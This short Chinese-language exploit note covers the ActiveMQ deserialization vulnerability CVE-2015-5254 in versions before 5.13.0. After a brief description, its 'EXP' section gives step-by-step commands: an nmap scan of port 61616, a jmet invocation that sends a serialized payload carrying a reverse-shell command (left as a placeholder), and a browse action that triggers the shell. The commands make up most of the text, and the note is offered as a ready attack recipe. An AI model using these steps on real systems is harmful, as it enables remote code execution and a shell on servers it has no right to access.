ActiveMQ 反序列化漏洞（CVE 2015 5254）
漏洞概述¶
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务（JMS）ObjectMessage对象利用该漏洞执行任意代码。
影响范围¶
ActiveMQ < 5.13.0
EXP¶
1、确定目标开启61616端口
nmap -sV -Pn -T4 -sC -p 61616 IP
2、发送反弹payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "反弹shell命令" -Yp target-IP 61616
3、点击触发Browse event-Message ID ，成功反弹